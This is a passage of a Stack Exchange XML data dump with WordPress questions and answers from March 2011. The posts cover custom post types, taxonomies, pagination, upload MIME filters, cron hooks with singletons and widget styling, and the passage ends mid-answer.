  <row Id="11550" PostTypeId="2" ParentId="11549" CreationDate="2011-03-09T07:29:59.733" Score="1" ViewCount="" Body="&lt;p&gt;With a hierarchical post type, a plugin would just need to write the navigation part. All the rest is already there.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-09T07:29:59.733" CommentCount="2" />
  <row Id="11551" PostTypeId="1" CreationDate="2011-03-09T08:01:27.870" Score="0" ViewCount="136" Body="&lt;p&gt;I'm creating a custom post type by adding the add_action( 'init', 'create_radiotalks' ); text to the functions.php page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_radiotalks' );&#xA;&#xA;function create_radiotalks() {&#xA;    register_post_type( 'radiotalks',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Radio Talks' ),&#xA;            'singular_name' =&amp;gt; __( 'Radio Talk' ),&#xA;            'add_new' =&amp;gt; __( 'Add New' ),&#xA;            'add_new_item' =&amp;gt; __( 'Add New Radio Talk' ),&#xA;            'edit' =&amp;gt; __( 'Edit' ),&#xA;            'edit_item' =&amp;gt; __( 'Edit Radio Talk' ),&#xA;            'new_item' =&amp;gt; __( 'New Radio Talk' ),&#xA;            'view' =&amp;gt; __( 'View Radio Talk' ),&#xA;            'view_item' =&amp;gt; __( 'View Radio Talk' ),&#xA;            'search_items' =&amp;gt; __( 'Search Radio Talks' ),&#xA;            'not_found' =&amp;gt; __( 'No radio talks found' ),&#xA;            'not_found_in_trash' =&amp;gt; __( 'No radio talks found in Trash' ),&#xA;            'parent' =&amp;gt; __( 'Parent Radio Talk' ),&#xA;),&#xA;            'public' =&amp;gt; true,&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when entering the add new radio talk info, I would like to add the applicable categories and tags, but they do not show up in the admin side bar? How do I make the categories/tags available to my custom post type? thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-don&lt;/p&gt;&#xA;" OwnerUserId="2815" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-09T08:46:51.580" LastActivityDate="2011-03-09T09:21:35.990" Title="calling categories in a custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="11553" PostTypeId="2" ParentId="11551" CreationDate="2011-03-09T08:31:05.180" Score="2" ViewCount="" Body="&lt;p&gt;By adding the 'taxonomies' argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'public' =&amp;gt; true,&#xA;'taxonomies' =&amp;gt; array( 'category', 'post_tag' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-09T08:31:05.180" CommentCount="1" />
  <row Id="11554" PostTypeId="2" ParentId="11547" CreationDate="2011-03-09T09:01:41.570" Score="2" ViewCount="" Body="&lt;p&gt;Does the 48x48 thumbnail file exist? If not, you can use a plugin like Regenerate Thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-09T09:01:41.570" />
  <row Id="11555" PostTypeId="2" ParentId="11551" CreationDate="2011-03-09T09:21:35.990" Score="1" ViewCount="" Body="&lt;p&gt;or by register taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;register_taxonomy_for_object_type('category', 'radiotalks');&#xA;register_taxonomy_for_object_type('post_tag', 'radiotalks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-09T09:21:35.990" CommentCount="3" />
  <row Id="11556" PostTypeId="1" AcceptedAnswerId="11558" CreationDate="2011-03-09T09:21:36.853" Score="0" ViewCount="224" Body="&lt;p&gt;I'm trying to get pagination to work, I get the nav tools to show, but when i click to move to the next page it loads the first page every time. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;                    'post_type' =&amp;gt; 'page',&#xA;                    'orderby' =&amp;gt; 'title',&#xA;                    'order' =&amp;gt; 'ASC',&#xA;                    'posts_per_page' =&amp;gt; 5,&#xA;                    'paged' =&amp;gt; get_query_var('page'),&#xA;                    'post_parent' =&amp;gt; $parent&#xA;                ); ?&amp;gt;&#xA;          &amp;lt;?php query_posts($args); ?&amp;gt;&#xA;&#xA;          &amp;lt;?php if ( have_posts() ) : ?&amp;gt;&#xA;              &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                  //get the desired custom field values &#xA;              &amp;lt;?php endwhile; ?&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;!-- navigation goes here --&amp;gt;&#xA;        &amp;lt;div class=&quot;naviButs&quot;&amp;gt;&#xA;            &amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please if anyone can assist? Or maybe knows workaround?&lt;br&gt;&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3814" LastActivityDate="2011-05-12T06:30:05.737" Title="wp-pagenavi only showing first page" Tags="&lt;plugin-wp-pagenavi&gt;" AnswerCount="1" />
  <row Id="11558" PostTypeId="2" ParentId="11556" CreationDate="2011-03-09T09:50:06.453" Score="2" ViewCount="" Body="&lt;p&gt;Replace 'page' with 'paged':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'paged' =&amp;gt; get_query_var('paged'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-09T09:50:06.453" CommentCount="1" />
  <row Id="11559" PostTypeId="1" CreationDate="2011-03-09T09:57:26.820" Score="-1" ViewCount="84" Body="&lt;p&gt;have tried the official cpalead plugin for wordpress,but doesnt work for 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have however come across a piece of coding that can possibly be modified&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if (in_category( replace me with the category ID you got))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(rest of coding wont display,but thats the only part needs to be modified)&#xA;what mod is needed to get this to function for pages instead of categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3730" LastActivityDate="2011-03-09T12:59:12.507" Title="How to get cpalead to display on one page only?" Tags="&lt;3.1&gt;" AnswerCount="1" />
  <row Id="11560" PostTypeId="2" ParentId="11546" CreationDate="2011-03-09T10:10:07.617" Score="1" ViewCount="" Body="&lt;p&gt;I think including a counter like this would do the trick. Does this help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$showposts=2;&#xA;&#xA;$counter=0;&#xA;while ( bbp_topics() ) : bbp_the_topic();&#xA;   $counter++;&#xA;   if(counter&amp;lt;=$showposts) {&#xA;?&amp;gt;&#xA;&#xA;      /*** Do stuff ***/&#xA;&#xA;&amp;lt;?php&#xA;   }   &#xA;   else {&#xA;      break;&#xA;   }&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3636" LastEditorUserId="3636" LastEditorDisplayName="" LastEditDate="2011-03-09T11:26:26.100" LastActivityDate="2011-03-09T11:26:26.100" />
  <row Id="11561" PostTypeId="1" AcceptedAnswerId="11586" CreationDate="2011-03-09T10:42:24.483" Score="0" ViewCount="428" Body="&lt;p&gt;I need some help with restyling my alternate widget areas. I've created some new widget areas, and placed one into the main content of my &lt;strong&gt;index.php&lt;/strong&gt;. This works just fine, however i want to style it differently.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;WordPress:&lt;/strong&gt; 3.0.4&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Theme:&lt;/strong&gt; Twenty Ten Child (twentyten-child)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Server:&lt;/strong&gt; Local/MAMP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried creating new style definitions for this particular widget area, mainly wanting to get rid of the list bullets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried &lt;code&gt;list-style: none&lt;/code&gt; with every one of the widget css definitions in my child theme's stylesheet, &lt;em&gt;this doesn't appear to be working&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firebug shows that the widget has a class of &lt;code&gt;xoxo&lt;/code&gt; so i removed reference to that class in my file &lt;strong&gt;sidebar-content.php&lt;/strong&gt; and there’s no such string in either the parent or child theme's functions. The widget I’m calling to the area is WP's &lt;strong&gt;&lt;em&gt;default blogroll widget&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any way to remove the xoxo class attached to this widget from within the theme twentyten, perhaps using a filter?&lt;/li&gt;&#xA;&lt;li&gt;How can I resize the widget widths to allow them to fill up the custom widget area – or will they automatically do so?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The sidebar html for this widget area as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/* Theme:twentyten-child-kw&#xA;Alt Sidebar containing the content widget areas.&#xA;@package WordPress&#xA;@subpackage Twenty_Ten&#xA;@since Twenty Ten 1.0 */ ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot; class=&quot;alt-widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php /* When we call the dynamic_sidebar() &amp;gt; function, it'll spit out the widgets for that widget area. If it instead returns false, then the sidebar simply doesn't exist, so we'll hard-code in some default sidebar stuff just in case. */&#xA;if ( is_active_sidebar( 'alt-content-widget-area' ) ) : ?&amp;gt;&#xA;&amp;lt;?php dynamic_sidebar( 'alt-content-widget-area' ); ?&amp;gt;&#xA;&amp;lt;?php endif; // end content widget area ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content .alt-widget-area --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my child theme's style sheet, created definitions for the class &lt;code&gt;alt-widget-area&lt;/code&gt; are based on the parent theme's definitions for &lt;code&gt;widget-area&lt;/code&gt;, however, the class &lt;code&gt;xoxo&lt;/code&gt; is taking precedence over everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions please?&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:04:54.483" LastActivityDate="2011-03-26T02:08:22.507" Title="Customized widget area - how to override or filter class xoxo?" Tags="&lt;widgets&gt;&lt;child-theme&gt;&lt;theme-twenty-ten&gt;&lt;blogroll&gt;&lt;styles&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11562" PostTypeId="2" ParentId="10651" CreationDate="2011-03-09T10:57:14.697" Score="0" ViewCount="" Body="&lt;p&gt;This problem has been resolved by use of the plugin 'Remove Blog Slug' available at buddydev.com/plugins/remove-blog-slug-plugin/.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-03-09T10:57:14.697" />
  <row Id="11563" PostTypeId="1" AcceptedAnswerId="11571" CreationDate="2011-03-09T11:28:35.793" Score="0" ViewCount="152" Body="&lt;p&gt;I am trying to upload java files to my word press blog but it does not let me upload any files with .java extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says &lt;em&gt;&quot;.java” has failed to upload due to an error&lt;/em&gt;&#xA;*File type does not meet security guidelines. Try another.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I add .java extension so that it allows me to upload java source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using wordpress version 3.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1293" LastActivityDate="2011-03-09T12:40:31.423" Title="Adding file types in wordpress" Tags="&lt;3.0&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="11564" PostTypeId="2" ParentId="10954" CreationDate="2011-03-09T11:35:28.913" Score="0" ViewCount="" Body="&lt;p&gt;I´m trying to get my head around this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;article&lt;/a&gt;, and I think I got it ;o)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;step1: upload all theme and plugin files via FTP   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;step2: On the live domain create a new database and import your local dbase (or does&#xA;       upload the development MySQL database something else?)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;step3: edit your wp-config as described.&lt;br&gt;&#xA;       Can I leave out the test, stage, dev registrations if I don´t have them?&lt;br&gt;&#xA;       I migrate from local to live domain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;step4: then run the plugin form the new live site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://@mikeschinkel&quot; rel=&quot;nofollow&quot;&gt;@mikeschinkel&lt;/a&gt; Is this the correct process?  &lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-03-09T11:35:28.913" />
  <row Id="11565" PostTypeId="1" AcceptedAnswerId="12383" CreationDate="2011-03-09T11:36:21.237" Score="1" ViewCount="125" Body="&lt;p&gt;I'm currently working on a plugin, which uses the builtin cron functionality of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using PHP4, I want to use PHP5 with inheritance and the singleton design pattern. I run in some limitations with the action &amp;amp; filter hook mechanism and wanted to ask, if you have an other approach for this problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stripped out all not relevant parts from the example code. If you need the full code for demostration, please post here so I can add an pastbin link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the base class &quot;Cron&quot; I want to declare all methods, which describes a cron job. To register a new cron-entry I use add_action with the hookname and a callable method.&lt;/p&gt; &#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call this action-hook, the builtin wordpress function do_action needs access from outside to this method. To solve the problem, I declared the method as public static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't seems right either. The method should not be accessable from outside. It should be private. Only the MyCron class should have the permission to access this method. I tried different things as you can see in the comment block in the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if I declare the constructor public (which would destroy the singleton pattern), I'm able to set the method to private. But then, everytime I add an event, a new MyCron object would be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Roman&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;class Cron {&#xA;    private $_events;&#xA;&#xA;    protected function __construct() {&#xA;        $this-&gt;_events = array();&#xA;    }&#xA;&#xA;    protected function addEvent($timestamp, $recurrence, $hookname, $hookmethod, $args = array()) {&#xA;        $this-&gt;_events[] = $hookname;&#xA;&#xA;        if (!wp_next_scheduled($hookname)) {&#xA;            wp_schedule_event($timestamp, $recurrence, $hookname, $args);&#xA;        }&#xA;&#xA;        add_action($hookname, $hookmethod);&#xA;    }&#xA;}&#xA;&#xA;class MyCron extends Cron {&#xA;    private static $_instance = null;&#xA;&#xA;    public static function getInstance() {&#xA;        if (is_null(self::$_instance)) {&#xA;            self::$_instance = new self();&#xA;        }&#xA;&#xA;        return self::$_instance;&#xA;    }&#xA;&#xA;    protected function __construct() {&#xA;        parent::__construct();&#xA;&#xA;        /* Note: &#xA;         * The passing action hook must be public static to be callable from outside. An other option is to declare the constructor&#xA;         * public. But this means, everytime I add e new event I will create an new object of MyCron. This is the reason why I&#xA;         * the singleton php design pattern with a private/protected constructor.&#xA;         * &#xA;         * This doesn't work either:&#xA;         * 1) $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', 'MyCron::getInstance-&gt;myDailyEvent');&#xA;         * 2) $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', 'MyCron::getInstance::myDailyEvent');&#xA;         * 3) $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', array('MyCron::getInstance', 'myDailyEvent'));&#xA;         * 4) $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', create_function('', 'return MyCron::getInstance()-&gt;myDailyEvent();'));&#xA;         * 5) $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', function() { return MyCron::getInstance()-&gt;myDailyEvent(); });&#xA;         */&#xA;        $this-&gt;addEvent(time(), 'daily', 'webeo-daily-event', array($this, 'myDailyEvent'));&#xA;&#xA;    }&#xA;&#xA;    public static function myDailyEvent() {&#xA;        // do this every day with wp cron&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-03-17T17:37:08.693" LastActivityDate="2011-03-18T15:04:24.350" Title="PHP5, Inheritance, Singleton - action &amp; filter hook limitations" Tags="&lt;cron&gt;&lt;add-filter&gt;&lt;add-action&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11566" PostTypeId="1" AcceptedAnswerId="11567" CreationDate="2011-03-09T11:52:45.867" Score="0" ViewCount="103" Body="&lt;p&gt;How do I test whether there are any images attached to a post? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the gallery shortcode, but I want to put it in a conditional so the surrounding styling isn't displayed if the gallery is empty.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-03-09T12:12:39.180" Title="How do I test whether [gallery] is empty?" Tags="&lt;gallery&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="11567" PostTypeId="2" ParentId="11566" CreationDate="2011-03-09T12:12:39.180" Score="1" ViewCount="" Body="&lt;p&gt;You can check if an attachment for the given post exists with the get_posts function. This will create a new sql query - so there could be a performance issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;// Util.class.php&#xA;class Util {&#xA;     public static function has_attachments() {&#xA;         $args = array(&#xA;            'post_type' =&gt; 'attachment', &#xA;            'numberposts' =&gt; -1, &#xA;            'post_status' =&gt; null, &#xA;            'post_parent' =&gt; $post-&gt;ID&#xA;         );&#xA;&#xA;         $attachments = get_posts($args);&#xA;&#xA;         if(!empty($attachments)) {&#xA;             return TRUE;&#xA;         } else {&#xA;             return FALSE;&#xA;         }&#xA;     }&#xA;}&#xA;&#xA;// In template&#xA;require_once 'Util.class.php';&#xA;if (Util::has_attachments()) {&#xA;    // Display gallery&#xA;}&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-09T12:12:39.180" />
  <row Id="11568" PostTypeId="2" ParentId="11563" CreationDate="2011-03-09T12:15:04.497" Score="2" ViewCount="" Body="&lt;p&gt;I found this nice function that does the trick&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function addUploadMimes($mimes) {&#xA;    $mimes = array_merge($mimes, array(&#xA;        'tmbundle|tmCommand|tmDragCommand|tmSnippet|tmLanguage|tmPreferences' =&amp;gt; 'application/octet-stream'&#xA;    ));&#xA;    return $mimes;&#xA;}&#xA;add_filter('upload_mimes', 'addUploadMimes');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can add more file types by adding them on &lt;code&gt;&quot;'tmbundle|tmCommand|tmDragCommand|tmSnippet|tmLanguage|tmPreferences'&quot;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;separated by a pipe (|) &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T12:15:04.497" />
  <row Id="11569" PostTypeId="2" ParentId="10954" CreationDate="2011-03-09T12:23:37.023" Score="0" ViewCount="" Body="&lt;p&gt;if you want to move a MU blog to its single site, you'll need to copy all the blog's tables PLUS wp_users and wp_usermeta tables which are common to all the network sites.&#xA;don't forget to change the uploads directory path.&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2011-03-09T12:23:37.023" />
  <row Id="11571" PostTypeId="2" ParentId="11563" CreationDate="2011-03-09T12:34:35.407" Score="3" ViewCount="" Body="&lt;p&gt;Use filter '&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/upload_mimes&quot; rel=&quot;nofollow&quot;&gt;upload_mimes&lt;/a&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;add_filter('upload_mimes','add_java_files');&#xA;&#xA;function add_java_files($mimes)&#xA;{&#xA;    // Add file extension 'extension' with mime type 'mime/type'&#xA;    $mimes['java'] = 'text/x-java-source';&#xA;    return $mimes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditorDisplayName="" LastEditDate="2011-03-09T12:40:31.423" LastActivityDate="2011-03-09T12:40:31.423" />
  <row Id="11572" PostTypeId="1" CreationDate="2011-03-09T12:41:18.483" Score="0" ViewCount="69" Body="&lt;p&gt;I am coming across a problem with the new 3.1 update and get_theme_mod even though I can see the mods have saved in the database for the child theme get_theme_mod doesn't return anything. It works fine for the parent theme but seems to break on child.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-03-09T12:41:18.483" Title="get_theme_mod isn't returning values for child themes" Tags="&lt;get-theme-mod&gt;" CommentCount="2" />
  <row Id="11573" PostTypeId="2" ParentId="11559" CreationDate="2011-03-09T12:59:12.507" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;WordPress conditional tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are looking to display something only on a specific page you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page('page ID here'){&#xA;  //your cpalead code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T12:59:12.507" CommentCount="1" />
  <row Id="11574" PostTypeId="1" AcceptedAnswerId="12288" CreationDate="2011-03-09T13:01:41.017" Score="2" ViewCount="90" Body="&lt;p&gt;Plugin is defining pluggable &lt;code&gt;wp_mail()&lt;/code&gt; function. My idea was to check if function is defined already and throw warning if other plugin beat me to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this warning causes issues on activation. As far as I understand during normal operation plugin is loaded &lt;strong&gt;before&lt;/strong&gt; &lt;code&gt;pluggable.php&lt;/code&gt; but for the purpose of activation check it is loaded &lt;strong&gt;after&lt;/strong&gt; pluggables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the robust/proper/suggested way to implement such check for pluggable function? There is no obvious (for me) way to distinguish activation and handle it separately.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-17T12:30:30.347" Title="Pluggable function and activation check?" Tags="&lt;plugins&gt;&lt;pluggable&gt;&lt;activation&gt;&lt;wp-mail&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="11575" PostTypeId="1" AcceptedAnswerId="11581" CreationDate="2011-03-09T13:03:26.617" Score="0" ViewCount="99" Body="&lt;p&gt;i'm having a problem with wordpress and the post-page:&#xA;my web has several pages like:&#xA;news, projects, links&#xA;each page is displaying posts of the corresponding category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question:&#xA;when clicking on a post's detail, it will execute always the same script (post-detail.php).&#xA;now i want to implement a &quot;back&quot;-link which jumps page to the referring page.&#xA;how can this be done? is it possible having several post-pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-09T13:33:50.747" Title="post-page: reference to parent page?" Tags="&lt;posts&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="11576" PostTypeId="1" AcceptedAnswerId="11577" CreationDate="2011-03-09T13:05:07.837" Score="0" ViewCount="124" Body="&lt;p&gt;I dont know how to call it, but can I switch off auto linking in Wordpress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating my 3. theme for client, but I have not manage this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I create a page or post, Wordpress automatically create a permalink on my site, www.mysite.com/posttitle. But if I wanna use this post to display it into the home page, for example it have only few lines, like copyrights or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I create new page/post and display it into my theme by &lt;code&gt;query_posts&lt;/code&gt;. And all is fantastic, until I type www.mysite/copyright and there I can see only my copyrights. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you manage this kind of problem? Of course I can hard code it into my template, but it isnt a solution form me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you get my thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE. Ok I found better example :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanna create portfolio page where will be all my work. So I create new template file, than new page, new category and add new posts to that category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have that page mysite.com/portfolio and there is all those posts ( works ). Just title, picture and some small description. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wordpress is automatically creating those links mysite.com/portfolio/work1, but I dont wanna it.&lt;/p&gt;&#xA;" OwnerUserId="3820" LastEditorUserId="3820" LastEditorDisplayName="" LastEditDate="2011-03-09T15:54:18.303" LastActivityDate="2011-03-09T16:29:36.803" Title="Page and post auto links" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="11577" PostTypeId="2" ParentId="11576" CreationDate="2011-03-09T13:20:06.787" Score="0" ViewCount="" Body="&lt;p&gt;You don't have to create a post to hold your data, you can use the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example you put in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$copyright = get_option('my_them_copyright');&#xA;if (!isset($copyright)){&#xA;    $copyright =  'Design by: &amp;lt;a href=&quot;domain.com&quot;&amp;gt;ME&amp;lt;/a&amp;gt;';&#xA;    update_option('my_them_copyright',$copyright);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then whenever you want to call it you use get_option() like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$copyright = get_option('my_them_copyright');&#xA;echo $copyright;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;like i commented any post/page will get a permalink automatically but what you can do is register your own post type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'register_generic_data');&#xA;function register_generic_data()   &#xA;{&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Generic Data', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Generic Data', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'Generic Data'),&#xA;    'add_new_item' =&amp;gt; __('Add New Generic Data'),&#xA;    'edit_item' =&amp;gt; __('Edit Generic Data'),&#xA;    'new_item' =&amp;gt; __('New Generic Data'),&#xA;    'view_item' =&amp;gt; __('View Generic Data'),&#xA;    'search_items' =&amp;gt; __('Search Generic Data'),&#xA;    'not_found' =&amp;gt;  __('No Generic Data found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No Generic Data found in Trash'), &#xA;    'parent_item_colon' =&amp;gt; ''&#xA;  );&#xA;  $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; false,&#xA;    'exclude_from_search' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; false,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 20,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','trackbacks','custom-fields','comments','revisions','page-attributes'),&#xA;    'taxonomies' =&amp;gt; array('category','post_tag')&#xA;  ); &#xA;  register_post_type('gen_data',$args);&#xA;};?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you take a close look at this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    'publicly_queryable' =&amp;gt; false,&#xA;    'exclude_from_search' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'query_var' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; false,&#xA;    'show_ui' =&amp;gt; true, &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see that we set the post type to have a ui and to show in the admin menu &#xA;but other then that its &quot;none public&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you can create your 